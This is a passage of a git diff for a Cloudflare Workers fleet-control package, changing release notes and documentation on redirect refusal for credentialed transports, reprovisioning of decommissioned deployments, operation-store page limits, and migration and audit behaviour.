.../operation-store-port-requirements.md | 9 + .changeset/terminal-row-admission.md | 8 +- docs/fleet-control.md | 56 +- packages/fleet-control/CLAUDE.md | 4 +- .../scripts/direct-credentialed-bootstrap.mjs | 21 +- ...rect-credentialed-conformance-config.d.mts | 6 + ...direct-credentialed-conformance-config.mjs | 12 +- ...ect-credentialed-conformance-preflight.mjs | 26 + ...ect-credentialed-conformance-runtime.d.mts | 95 ++- ...irect-credentialed-conformance-runtime.mjs | 440 ++++++++---- .../direct-credentialed-conformance.mjs | 99 +-- .../direct-credentialed-evidence.d.mts | 131 +++- .../scripts/direct-credentialed-evidence.mjs | 442 ++++++++---- .../direct-credentialed-provider.d.mts | 1 + .../scripts/direct-credentialed-provider.mjs | 9 +- ...ct-credentialed-reference-vocabulary.d.mts | 69 ++ ...rect-credentialed-reference-vocabulary.mjs | 74 ++ .../direct-credentialed-run-state.d.mts | 123 ++-- .../scripts/direct-credentialed-run-state.mjs | 485 +++++++------ .../direct-credentialed-scenario-budget.mjs | 5 +- .../direct-credentialed-scenario-checks.d.mts | 15 +- .../direct-credentialed-scenario-checks.mjs | 10 +- .../direct-credentialed-scenario.d.mts | 7 +- .../scripts/direct-credentialed-scenario.mjs | 129 ++-- .../direct-credentialed-teardown.d.mts | 11 + .../scripts/direct-credentialed-teardown.mjs | 270 +++---- .../direct-credentialed-tenant-object.d.mts | 4 + .../direct-credentialed-tenant-object.mjs | 15 +- .../scripts/direct-credentialed-tenant.ts | 362 +++++----- .../scripts/direct-reference-fence.ts | 125 ++-- .../scripts/direct-reference-force.ts | 90 ++- .../scripts/direct-reference-transport.ts | 94 +++ .../scripts/direct-reference-worker.ts | 129 ++-- packages/fleet-control/src/backend-switch.ts | 45 +- packages/fleet-control/src/cleanup-advance.ts | 20 +- .../fleet-control/src/cloudflare-client.ts | 29 +- .../src/cloudflare-control-plane.ts | 6 +- .../src/cloudflare-provider-errors.ts | 49 +- .../src/cloudflare-worker-attachment-scan.ts | 11 +- .../src/d1-fleet-inventory-run-store.ts | 16 +- .../src/d1-fleet-operation-store.ts | 39 +- .../fleet-control/src/decommission-advance.ts | 6 +- .../fleet-control/src/decommission-intent.ts | 8 +- .../fleet-control/src/fleet-audit-advance.ts | 64 +- .../src/fleet-inventory-advance.ts | 9 +- .../src/fleet-migration-advance.ts | 17 +- .../src/fleet-operation-state.ts | 64 +- packages/fleet-control/src/fleet.ts | 48 +- .../fleet-control/src/maintenance-health.ts | 7 +- .../fleet-control/src/plain-worker-backend.ts | 9 +- packages/fleet-control/src/provision.ts | 199 ++++-- packages/fleet-control/src/state-store.ts | 4 +- packages/fleet-control/src/types.ts | 42 +- .../src/workers-for-platforms-backend.ts | 35 +- .../fleet-control/src/workers/outbound.ts | 8 +- .../fleet-control/test/backend-switch.test.ts | 10 + ...-api-plain-worker-provisioning-api.test.ts | 44 +- .../cloudflare-client-plain-worker.test.ts | 108 +-- .../test/cloudflare-control-plane.test.ts | 12 +- .../test/cross-backend-continuation.test.ts | 226 +++--- .../direct-credentialed-bootstrap.test.ts | 8 +- ...credentialed-conformance-preflight.test.ts | 85 ++- ...t-credentialed-conformance-runtime.test.ts | 591 ++++++++++------ ...redentialed-conformance.acceptance.test.ts | 242 ++++--- .../test/direct-credentialed-evidence.test.ts | 244 ++++++- .../direct-credentialed-run-state.test.ts | 299 ++++++-- ...irect-credentialed-scenario-checks.test.ts | 44 +- .../test/direct-credentialed-scenario.test.ts | 661 ++++++++---------- .../test/direct-credentialed-teardown.test.ts | 305 ++++++-- ...direct-credentialed-tenant.harness.test.ts | 159 +++-- .../direct-reference-fence.harness.test.ts | 204 ++++-- .../test/direct-reference-http.test.ts | 5 +- ...direct-reference-lifecycle.harness.test.ts | 11 +- .../test/fixtures/cloudflare-fetch-fixture.ts | 81 ++- .../test/fixtures/direct-cli-child.ts | 72 ++ .../test/fixtures/direct-reference-harness.ts | 206 +++--- .../test/fixtures/direct-run-state-builder.ts | 55 +- .../test/fixtures/direct-scenario-harness.ts | 194 +++++ .../test/fixtures/fleet-migration-baseline.ts | 2 +- .../test/fixtures/fleet-migration-worlds.ts | 21 +- .../test/fixtures/fleet-operation-fakes.ts | 65 +- .../test/fixtures/plain-worker-harnesses.ts | 24 + .../plain-worker-provisioning-api-fake.ts | 2 + .../test/fixtures/provider-world.ts | 15 + .../test/fleet-audit-advance.test.ts | 646 +++++------------ .../test/fleet-migration-advance.test.ts | 114 ++- .../test/fleet-operation-state.test.ts | 505 +++++++++++++ .../test/fleet-operation-store.test.ts | 177 ++++- packages/fleet-control/test/fleet.test.ts | 20 +- .../test/plain-worker-backend.test.ts | 31 +- packages/fleet-control/test/provision.test.ts | 279 ++++++-- .../test/worker-attachment-scan.test.ts | 62 +- .../workers-for-platforms-backend.test.ts | 58 ++ ...rangler-loop-backend-port-contract.test.ts | 2 +- .../test/wrangler-loop-backend.test.ts | 57 +- packages/fleet-control/tsconfig.json | 2 +- packages/fleet-control/vitest.config.ts | 25 +- .../vitest.direct-scenario.config.ts | 26 +- 100 files changed, 6650 insertions(+), 3466 deletions(-) create mode 100644 .changeset/operation-store-port-requirements.md create mode 100644 packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs create mode 100644 packages/fleet-control/test/fixtures/direct-cli-child.ts create mode 100644 packages/fleet-control/test/fixtures/direct-scenario-harness.ts diff --git a/.changeset/fleet-control-credentialed-redirect-refusals.md b/.changeset/fleet-control-credentialed-redirect-refusals.md index fc80be00..74d46b71 100644 --- a/.changeset/fleet-control-credentialed-redirect-refusals.md +++ b/.changeset/fleet-control-credentialed-redirect-refusals.md @@ -2,6 +2,6 @@ '@proofoftech/fleet-control': patch --- -Refuse redirects on the three credentialed provider transports. `CloudflareProvisioningClient`, `PlainWorkerBackend`, and `WorkersForPlatformsBackend` force `redirect: 'manual'` after a caller's `init`, so a bearer credential is not carried to an address the control plane did not choose. The raw dispatch script page and both Workers for Platforms maintenance calls, which read a response the transport does not otherwise classify, throw `CredentialedRedirectRefusedError` on a 301, 302, 303, 307, or 308 and cancel the unconsumed body; the message names the operation and the status, never the address. An SDK-routed redirect surfaces as an `APIError` with the original status, unretried and not classified transient. +Refuse redirects on the three credentialed provider transports. `CloudflareProvisioningClient`, `PlainWorkerBackend`, and `WorkersForPlatformsBackend` force `redirect: 'manual'` after a caller's `init`, so a bearer credential is not carried to an address the control plane did not choose. The raw dispatch script page refuses a redirect status where it reads the raw response, and the Workers for Platforms maintenance transport refuses one in its wrapper, because its callers read only the signed receipt header. Each throws `CredentialedRedirectRefusedError` on a 301, 302, 303, 307, or 308 and cancels the unconsumed body; the message names the operation and the status, never the address. An SDK-routed redirect surfaces as an `APIError` with the original status, not retried on the status alone and not classified transient. The Cloudflare SDK obeys an `x-should-retry: true` response header ahead of the status, so a redirect carrying that header is retried; each attempt goes through the same forced `redirect: 'manual'`, so no attempt follows the redirect. A host whose injected fetch follows redirects itself is unaffected: supply that fetch only from trusted control-plane code. diff --git a/.changeset/migration-completion-and-abort.md b/.changeset/migration-completion-and-abort.md index 16e8ace7..c699d54e 100644 --- a/.changeset/migration-completion-and-abort.md +++ b/.changeset/migration-completion-and-abort.md @@ -2,8 +2,8 @@ '@proofoftech/fleet-control': minor --- -`advanceFleetMigration()` accepts an `AbortSignal` and a completion callback, matching the audit advance. `signal` is call-local and never persisted: it is checked at the public entry, before the action branch, and again at the head of each item advance, outside the step's failure handler — so a cancellation leaves the operation and its items exactly as they were and a later continue resumes, rather than durably failing the item. +`advanceFleetMigration()` accepts an `AbortSignal`, matching the audit advance, and a completion callback. `signal` is call-local and never persisted, and cancellation is cooperative: the composition checks it before dispatch and before each item advance, and work already started runs to completion. A cancellation this composition observes leaves the operation and its items exactly as they were and a later continue resumes; a signal the host also wires into its own provider or store surfaces inside the item step and durably fails the item like any other step failure. -`onComplete` runs on every call that returns `complete` — the call that finalizes the operation, a later continue on the finalized operation, and a replayed start of the same operation id — after the finalization is durable and before that call returns. Delivery is therefore at least once, and the host deduplicates on `operationId`; the alternative that fires only on the running-to-finalized transition loses the notification when the process dies between the durable finalize and the callback. A rejection propagates to the caller and leaves the durable finalization intact. +`onComplete` is delivered at least once for a finalized operation, after the finalization is durable and before the call that observed it returns, so the host deduplicates on `operationId`. `AdvanceFleetMigrationOptions.onComplete` names the calls that deliver it. The alternative that fires only on the running-to-finalized transition loses the notification when the process dies between the durable finalize and the callback. A rejection propagates to the caller and leaves the durable finalization intact. `CloudflareAdvanceFleetMigrationOptions` carries both, forwarding `signal` unbound and `onComplete` bound to the caller's options object. Both additions are optional members, so existing callers are unchanged. diff --git a/.changeset/operation-store-port-requirements.md b/.changeset/operation-store-port-requirements.md new file mode 100644 index 00000000..dec09ab4 --- /dev/null +++ b/.changeset/operation-store-port-requirements.md @@ -0,0 +1,9 @@ +--- +'@proofoftech/fleet-control': patch +--- + +State three requirements a `FleetOperationStore` implementation must meet, and hold the shipped D1 store to them. + +- `withAccountOperationLease` requires that the promise it returns settle only after the lease release completes, so a composition that awaits one call holds no lease when the next one takes it. `D1FleetOperationStore` already awaits its release before returning; the requirement now sits on the port both compositions depend on instead of being restated per caller. +- **BEHAVIOR CHANGE:** `readOperationRowsPage` requires a page of at most `limit` rows and serves a `limit` above 1,000 at 1,000, the one documented ceiling and the maximum page `D1FleetOperationStore` already enforced. An over-large `limit` costs the caller the rows beyond the ceiling rather than the read, where the D1 store refused it before. `readFleetAuditFindingsPage` and `readFleetMigrationItemsPage` forward a caller's `limit` unchanged, so they answer the same way against any conforming store. A `limit` that is not an integer of at least 1 is refused. +- **BEHAVIOR CHANGE:** `failOperation` reports an update target missing at its post-batch readback as a conflict, the classification `commitProgress` convergence already uses for a missing row, rather than as a divergence. Divergence keeps its narrower meaning: landed bytes that differ from the intended ones. diff --git a/.changeset/terminal-row-admission.md b/.changeset/terminal-row-admission.md index 4fb83e66..3ca071b1 100644 --- a/.changeset/terminal-row-admission.md +++ b/.changeset/terminal-row-admission.md @@ -2,10 +2,12 @@ '@proofoftech/fleet-control': minor --- -Admit a retired terminal `decommissioned` record as an absent prior in `provisionDeployment()`, so a host can reprovision a decommissioned slug without first clearing its ledger row. A stored row qualifies when it carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its database export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission, cleanup, or backend-switch operation; the read is normalized once, before the lifecycle guards, the immutable-mapping asserts, the phase refusal, and the reservation-ownership flag that drives the failed-provision unwind. Force-then-provision continues to work unchanged: `forceDecommissionDeployment()` still removes a terminal row, and a provision over the empty key follows the same fresh path it always did. +Admit a retired terminal `decommissioned` record as an absent prior in `provisionDeployment()`, so a host can reprovision a decommissioned slug without first clearing its ledger row. A stored row qualifies when it carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its database export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission or cleanup operation; a row carrying a backend-switch record qualifies only at subphase `decommissioned`, whose teardown committed that same export. The read is normalized once, before the lifecycle guards, the immutable-mapping asserts, the phase refusal, and the reservation-ownership flag that drives the failed-provision unwind. Force-then-provision continues to work unchanged: `forceDecommissionDeployment()` still removes a terminal row, and a provision over the empty key takes the path a provision with no stored row takes, where the durable reservation is written first. -- **BEHAVIOR CHANGE:** A retired terminal record no longer refuses with `cannot be provisioned from phase 'decommissioned'`. Provisioning replaces the row from the supplied `DeploymentSpec`: the slug, logical script name, database name, and route hostname come from that specification, equal to the retired row's when the specification retains them, while the database and its provider-minted ID, the seeded deployment identity, the application R2 resources, and the artifact version are new. The replacement carries no export location, digest, or byte count. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and a retired record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. +- **BEHAVIOR CHANGE:** A retired terminal record no longer refuses with `cannot be provisioned from phase 'decommissioned'`. Provisioning replaces the row from the supplied `DeploymentSpec`: the slug, logical script name, database name, and route hostname come from that specification, equal to the retired row's when the specification retains them, while the database and its provider-minted ID, the seeded deployment identity, and the application R2 resources are new. The artifact version is read from the provider for this deployment rather than carried over, which does not promise a value different from the retired row's. The replacement's export location, digest, and byte count are absent rather than newly minted. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and a retired record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. - **BEHAVIOR CHANGE:** `decommissionDeployment()` replays a terminal record's `DatabaseExport` for a late retry while that terminal row is the stored row. Once a re-provision has replaced the row and the replacement reaches `ready`, a same-spec `decommissionDeployment()` call is a new decommission of the replacement and proceeds against it: the one-call facade carries no operation identity that separates a retry from a new request. Read the export from its retained location before reprovisioning the name; carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity; or confirm the row's deployment identity — its database ID — before issuing a one-call decommission after a re-provision. -- **BEHAVIOR CHANGE:** A terminal row that retains an application resource, or whose teardown evidence is incomplete — a force-produced row records no database export — refuses with a message that names that residue and directs to `forceDecommissionDeployment()` after the residual physical resources are confirmed removed, in place of the generic phase message. An unfinished decommission, cleanup, or backend-switch operation refuses through the guard that owns it, as it does from any other lifecycle entry. Every other non-resumable phase keeps the generic refusal. +- **BEHAVIOR CHANGE:** A terminal row that retains an application resource, whose teardown evidence is incomplete — a force-produced row records no database export — or that carries a backend-switch record in a subphase other than `decommissioned` refuses with a message that names that residue and directs to `forceDecommissionDeployment()` after the residual physical resources are confirmed removed, in place of the generic phase message. An unfinished decommission or cleanup operation refuses through the guard that owns it, as it does from any other lifecycle entry. Every other non-resumable phase keeps the generic refusal. +- **BEHAVIOR CHANGE:** A backend-switch teardown that completes on the legacy path writes its `applicationR2Progress` deletions into the record's top-level `applicationResources`, the projection the bounded path already writes. A row that teardown leaves therefore qualifies for retirement, where before it was refused for the application resources the switch had released. +- **BEHAVIOR CHANGE:** A retired terminal record that persisted `wfpMode: "platform-catalog"` refuses a specification reserving another deployment mode, before the first durable write, with a message naming the persisted mode and the reserved one and directing to `forceDecommissionDeployment()`. The store pins an established catalog mode, so the replacement upsert would otherwise fail on that constraint. - **BEHAVIOR CHANGE:** Over a retired terminal record, the reserved-name database check runs before the first `lease.put`, so a re-provision that refuses a pre-existing database leaves that record — including its export location, digest, and byte count — byte-identical, and the failed-provision unwind no longer deletes a row the attempt never claimed. A provision with no stored row keeps its original order, where the durable reservation is written first. - **BEHAVIOR CHANGE:** `auditFleetDrift()` no longer reports `incomplete-provisioning` for a terminal `decommissioned` record. The phase is retained state rather than a phase that advances, so the staleness check misclassified intended retained state as incomplete provisioning. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index c2d9d5b7..5d419d28 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -131,7 +131,7 @@ Use Workers Paid for the direct control plane. The operation-specific request bo Inventory reads and audit continuations materialize stored data. Follow the [audit memory/read-cost envelope](#audit-an-account-under-a-request-budget) and [migration recovery and cost boundaries](#recovery-and-cost-boundaries). Provider request budgets and input validation ceilings do not guarantee that a workload fits memory, CPU, or database query limits. -At commit `308bd39`, the unminified namespace-import fixture measured 3,292,290 raw bytes and 448,465 gzip bytes in the supported and historical configurations, with zero size delta. Its repository regression budgets are 4,128,768 raw bytes and 589,824 gzip bytes: 25% headroom rounded upward to 64 KiB. Reproduce the package checks with `pnpm test:packed-fleet-control`. +At commit `308bd39`, dated 2026-09-09, the unminified namespace-import fixture measured 3,292,290 raw bytes and 448,465 gzip bytes in the supported and historical configurations, with zero size delta. Its repository regression budgets are 4,128,768 raw bytes and 589,824 gzip bytes: 25% headroom rounded upward to 64 KiB. Those byte figures are that dated capture rather than a standing property of the package: `pnpm test:packed-fleet-control` re-measures the fixture and prints the raw and gzip bytes it read beside the budgets it enforces. The supported configuration's local startup profile sampled 21.690 ms of active CPU within a 102.108 ms profile window. The workload fixtures completed a 32-record audit, selected late continuations for 1,001 and 10,000 records, and a selected continuation after exact 16 MiB intake. Larger cases seed prior observations and cursors; they do not execute the preceding provider calls. These are dated local observations, not production latency or capacity guarantees. @@ -168,7 +168,7 @@ The function persists every completed phase and validates the immutable tenant, Provisioning resumes from its last durable phase without repeating a committed step. Before `ready`, it compares the exact live tenant, environment, D1 binding, schema, specification digest, Durable Object bindings, plain-text variables, and secret names. Plain Worker, dispatch Worker, backend-switch, and control-plane inspection must consume every raw provider binding entry. An unknown type, malformed entry, duplicate name, binding absent from the structured inspection, or missing complete inventory fails closed even when the desired application groups are empty. Ordinary Worker secret names come from the authoritative secret-list API; if version resources also report them, the two inventories must agree. A failed first create rolls back through the bounded cleanup engine when the deployment provably never authorized a candidate invocation: rollback persists a durable `provisioning-rollback` cleanup intent, revokes credentials, removes the resources this attempt created, and completes with an immutable terminal receipt in place of a bare row delete. A rollback the engine refuses — a Workers for Platforms or external-artifact candidate, an already authorized invocation, or a stack without the bounded capabilities that keeps the in-memory rollback — preserves the row at its phase. If an upload may have succeeded, cleanup treats the Worker as present until deletion is positively confirmed; D1 is never deleted while a Worker or route may remain. Cleanup errors remain attached to `ProvisioningError.cleanupErrors`, and the durable state remains available to retry or to `cleanupDeploymentArtifacts()`; see "Clean up failed provisioning with durable receipts". -`provisionDeployment()` reads a retired terminal record as an absent prior. A stored `decommissioned` row qualifies when its `isRetiredTerminalRecord` predicate holds: the row carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission, cleanup, or backend-switch operation. The slug and the specification-derived names — logical script, database, and route hostname — come from the supplied `DeploymentSpec`, equal to the retired row's when that specification retains them. The database and its provider-minted ID, the seeded deployment identity, the application R2 resources, and the artifact version are new, and the replacement carries no export location, digest, or byte count. The terminal row is replaced under the deployment lease. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and this record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. A terminal row that retains an application resource, or whose teardown evidence is incomplete — a force-produced row records no database export — refuses instead, names that reason, and directs to `forceDecommissionDeployment()` once the residual physical resources are confirmed removed; an unfinished decommission, cleanup, or backend-switch operation refuses through the guard that owns it, as it does from any other lifecycle entry. A host that wants to keep the database and the seeded identity migrates with `migrateFleet()` instead of decommissioning. An audit sweep whose record snapshot predates the re-provision reads the old terminal row beside the new Worker and can report orphan findings until its next tick. +`provisionDeployment()` reads a retired terminal record as an absent prior. A stored `decommissioned` row qualifies when it carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission or cleanup operation. A row that carries a backend-switch record qualifies only at subphase `decommissioned`, the subphase whose teardown committed that same export and released the application resources the switch tracked; a switch that settled at `finalized` or `rolled-back` leaves its record in place, and such a row does not qualify. The slug and the specification-derived names — logical script, database, and route hostname — come from the supplied `DeploymentSpec`, equal to the retired row's when that specification retains them. The database and its provider-minted ID, the seeded deployment identity, and the application R2 resources are new. The artifact version is read from the provider for this deployment rather than carried over, which does not promise a value different from the retired row's. The replacement's export location, digest, and byte count are absent rather than newly minted. The terminal row is replaced under the deployment lease. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and this record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. The deployment mode is the one thing a changed specification cannot alter: a retired row that persisted `wfpMode: "platform-catalog"` refuses a specification reserving another mode, before the first durable write, with a message naming both modes and directing to `forceDecommissionDeployment()`. A terminal row that retains an application resource, whose teardown evidence is incomplete — a force-produced row records no database export — or that carries a backend-switch record in any other subphase refuses instead, names that reason, and directs to `forceDecommissionDeployment()` once the residual physical resources are confirmed removed; an unfinished decommission or cleanup operation refuses through the guard that owns it, as it does from any other lifecycle entry. A host that wants to keep the database and the seeded identity migrates with `migrateFleet()` instead of decommissioning. An audit sweep whose record snapshot predates the re-provision reads the old terminal row beside the new Worker and can report orphan findings until its next tick. `initialExecutionFenceState` is required and accepts `open` or `migration-locked`. It is a provisioning decision, not part of `DeploymentSpec`, so it does not alter the specification digest. `provisionDeployment()` is asynchronous from entry: invalid initial state and other validation failures reject its promise instead of throwing before a promise exists. The final ready record uses the artifact version from post-promotion route attestation rather than the candidate inspection. @@ -242,7 +242,7 @@ Use the same maintenance public verifier in the global dispatcher and catalog si `WorkersForPlatformsBackend.deployWorker` enrolls catalog uploads with the public verifier, `FLEET_MAINTENANCE_CAPABILITIES=required`, `FLEET_RESOURCE_ROLE=platform-catalog`, and their physical script identity. The local Maintenance object retains its distinct `MAINTENANCE_ADMIN_SECRET` for receipt signing. Use a catalog built with the FlowSafe runtime supporting this mode. That runtime binds verified maintenance capabilities to its local script and release digest before reading health or consuming an ensure nonce. External stable-state maintenance continues to serve its retained candidate releases. -Catalog records persist `wfpMode: "platform-catalog"` from their first reservation. Custom Fleet stores must retain that field. The D1 store upgrades its schema additively; unmarked WFP records retain external-state ownership rules. Changing or dropping an established catalog mode is refused. +Catalog records persist `wfpMode: "platform-catalog"` from their first reservation. Custom Fleet stores must retain that field. The D1 store upgrades its schema additively; unmarked WFP records retain external-state ownership rules. Changing or dropping an established catalog mode is refused, on a live row and on a retired terminal one alike: `provisionDeployment()` refuses a retired record whose persisted mode is not the one the supplied specification reserves. Importing an unmarked legacy catalog requires its original platform-authored specification. Under the existing deployment lease, verify its exact stored specification digest, immutable resource mapping and provider artifact ownership. Resolve active lifecycle operations and conflicting external resource authority before changing the mode. Check that any derived external-state reservation has no physical resource before releasing that claim. Write the marker through the store’s normal claim transaction; missing original authority cannot be replaced by the absence of state fields. @@ -252,7 +252,7 @@ Inspection requires enrollment and returns signed health for the provider-observ ### Attest the active route -Active-route attestation proves which provider artifact receives traffic and which fleet specification digest that artifact carries. It starts from provider routing state, not the desired candidate returned by `inspect()`. Every package-owned promotion path attests after promotion: initial provision, every `migrateFleet()` branch, and `rollbackExternalRelease()` all fail closed when the route is absent, ambiguous, or mismatched. The two-version staging window is refused if observed, but the package's own promote paths never observe it because each attestation runs after promotion converges. +Active-route attestation proves which provider artifact receives traffic and which fleet specification digest that artifact carries. It starts from provider routing state, not the desired candidate returned by `inspect()`. Every package-owned promotion path attests after promotion: initial provision, every `migrateFleet()` branch, and `rollbackExternalRelease()` all fail closed when the route is absent, ambiguous, or mismatched. The two-version staging window is refused wherever an attestation observes it, and a package-owned promote path can observe it: `PlainWorkerBackend.promoteWorker` returns once the provider acknowledges the 100 percent deployment, not once the traffic split has converged, and attestation reads routing state after that. `attestConvergedActiveRoute()` retries an unconverged read inside its budget and refuses the release when the budget expires without a matching observation. An ordinary Worker attestation performs two provider reads per attempt: read the deployment traffic split, require exactly one version at 100 percent, then read that version's specification-digest binding. A deployment containing two versions is refused even when one has 100 percent and the other has 0 percent; Fleet control never selects a version by highest share. `physicalScriptName` equals `spec.scriptName` by construction because promotion already proves custom-domain ownership for that script. @@ -324,13 +324,15 @@ The first item call reads current Fleet state under its deployment lease and rec Stale tokens return current durable authority without provider work. Future, unknown-operation and wrong-kind tokens fail closed. A replayed start must have the same intake digest: a progressed operation returns current authority rather than replacing its items. Treat tokens as continuation claims, never as authorization to select an account, backend, specification or credential. +Two optional call-local options ride on every call: `signal` cancels cooperatively, and `onComplete` is delivered at least once for a finalized operation, so the host deduplicates on `operationId`. `AdvanceFleetMigrationOptions` declares both contracts in full. + The limits apply together: - At most 10,000 records and 16 MiB summed across canonical record bytes - At most 96 KiB per input record; plain JSON within depth 64, 8,192 nodes, and 4 KiB per string or object key - Deployment identifier grammar for every record's tenant and environment - At most 64 frozen plan entries per item -- Item page and explicit prune limits from 1 through 1,000 +- Item page limits from 1 through 1,000, the page ceiling a conforming operation store serves: a larger `limit` returns the 1,000-row page rather than a refusal, and the cursor carries the rest. Explicit prune limits from 1 through 1,000, refused outside that range The canary envelope is separately checked by the same plain-data and byte codec, then included in the intake digest. Its bytes do not count toward the record sum. @@ -408,7 +410,7 @@ The switch advance uses the same at-least-once token rules as `advanceDecommissi Pending ordinary Worker capture reads the exact version and the authoritative secret-name inventory. It preserves Durable Object script and dispatch selectors, service entrypoints, representable R2 jurisdiction, D1 alias agreement, and provider-assigned namespace IDs. Unknown or unrepresentable binding fields fail closed. After Fleet D1 commits the snapshot, retries use that durable authority and never recapture a changed live version. -`decommissionBackendSwitch()` remains the asynchronous one-call compatibility drain. It uses the bounded engine for an active shell and for an early shell-less row with the complete capability set. A shell-less row at `decommission-export-authorized` or later stays on legacy recovery because an older writer may already have committed an operation-specific export or deletion. A wholly stripped plain pending-artifact snapshot also stays legacy unless its live carrier can reconstruct the exact authority. The bounded API refuses either ambiguous state instead of adopting it. +`decommissionBackendSwitch()` remains the asynchronous one-call compatibility drain. It uses the bounded engine for an active shell and for an early shell-less row with the complete capability set. A shell-less row at `decommission-export-authorized` or later stays on legacy recovery because an older writer may already have committed an operation-specific export or deletion. A wholly stripped plain pending-artifact snapshot also stays legacy unless its live carrier can reconstruct the exact authority. The bounded API refuses either ambiguous state instead of adopting it. Either path leaves the same terminal record: its application-resource states are the teardown's own R2 deletions, which is what a later provision of the slug reads the row against. Before removing traffic, backend-switch teardown persists the current desired digest, the canonical set of host targets allowed by the durable lifecycle phase, ordinary bridge identity, effective bridge plan, application R2 resources, and the exact union of active, pending, migration-prior, rollback, retiring, and original switch releases. Migration permits the prior route until the candidate is armed, both prior and target routes at the publication ambiguity boundary, and only the target after publication. Publishing permits its intended pending release. Rollback and teardown preserve both active and pending routes until the final ready state commits. Each route target is bound to its snapshotted physical release and platform target. Fleet control accepts only a byte-exact member of that set when removing `HOSTS`. Each release carries its own application and physical binding topology. Fleet control records delete authorization and positive absence for each release before it deletes the bridge and verifies namespace removal. For each application R2 bucket it persists detach authorization, detached confirmation, empty authorization, empty confirmation, delete authorization, and positive absence. A retry resumes from the individual release or bucket record before D1 export and deletion. The same fleet lease fences every phase. @@ -443,7 +445,7 @@ A non-default jurisdiction the account cannot access on its first page (Cloudfla External resource-group inventory checks the dispatch-native state script and each candidate as distinct roles under one immutable group identity. During a legacy switch rollback window, it also checks the adopted ordinary bridge. It verifies the shared D1 binding, local state namespaces, candidate remote Durable Object targets, application variables, exact secret names, application R2 bindings, exact named service and queue topology, trusted artifact and policy digests, static tenant and environment attribution, and the absence of public state routes. The backend-owned shared audit queue name is part of the persisted platform target and resource snapshot, so configuration drift cannot retarget an existing deployment. Route inventory records whether each entry came from the host registry, a custom domain, or a zone route. Fleet control reserves the owner-checked registry entry before upload so every script created through the supported client is enumerable by name. Plain-only collection makes no dispatch-namespace request. -Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. A deployment under an active bounded cleanup is its own reconciliation authority: the audit emits no expectation-based, orphan, or record-level findings for it — including `incomplete-provisioning` — while its cleanup intent is active, and its declared resource identities never read as orphans. A long-blocked cleanup stays visible through the record itself, in `phase: 'cleanup-advancing'` with a `blocked` step, never through drift findings. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value. +Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. A deployment under an active bounded cleanup is its own reconciliation authority: the audit emits no expectation-based, orphan, or record-level findings for it — including `incomplete-provisioning` — while its cleanup intent is active, and its declared resource identities never read as orphans. A retained terminal `decommissioned` record draws no `incomplete-provisioning` finding either: the phase is retained state rather than one that advances, so age past `staleAfterMs` is not stalled provisioning. A long-blocked cleanup stays visible through the record itself, in `phase: 'cleanup-advancing'` with a `blocked` step, never through drift findings. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value. The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, and the optional background tick independently, including their last attempt and error. Plain, platform-authored Workers authenticate maintenance with the deployment's maintenance secret. An external release never receives that reusable secret. Fleet control instead signs a short-lived Ed25519 capability bound to the operation, tenant, environment, physical release script, specification digest, expiry, and nonce. The global dispatcher verifies that capability before calling `DISPATCH.get()`, and the trusted state Worker verifies it again against static deployment bindings. `ensure-maintenance` atomically consumes the nonce, while status remains replay-safe and read-only. The state Worker signs the exact result with its per-state HMAC secret, and fleet control ignores the candidate's unsigned body. The mutation request timeout must remain shorter than both the capability lifetime and the active mutation lease. The current verifier is intentionally immutable across an existing global dispatcher and deployment record: ordinary per-tenant key rotation is unsupported. Rotation requires a coordinated fleet maintenance migration or a future overlapping JWKS design. @@ -451,7 +453,7 @@ The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, `auditFleetDrift()` still returns the complete `readonly DriftFinding[]` array in one call, with the same finding vocabulary, order, provider interaction order, and return value. When a control-plane Worker cannot hold one full audit pass inside a single request, drive the same reconciliation logic in bounded steps with `advanceFleetAudit()`. Construct a `D1FleetOperationStore` (pass an `inventoryStore` so it can release audit pins and prune), call `start` with a caller-minted lowercase UUIDv4 operation id, the caller-supplied `records`, `staleAfterMs`, and an optional explicit `generation` (defaulting to the latest finalized R3 inventory generation), then re-enqueue only the pending token each call returns. Before it takes the operation lease, a start refuses a non-positive or non-integer explicit generation, more than 10,000 records, records whose canonical bytes total more than 16 MiB, a record whose tenant tag or environment is not a string in the deployment identifier grammar, a record above the 96 KiB staged-row byte bound, or a record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 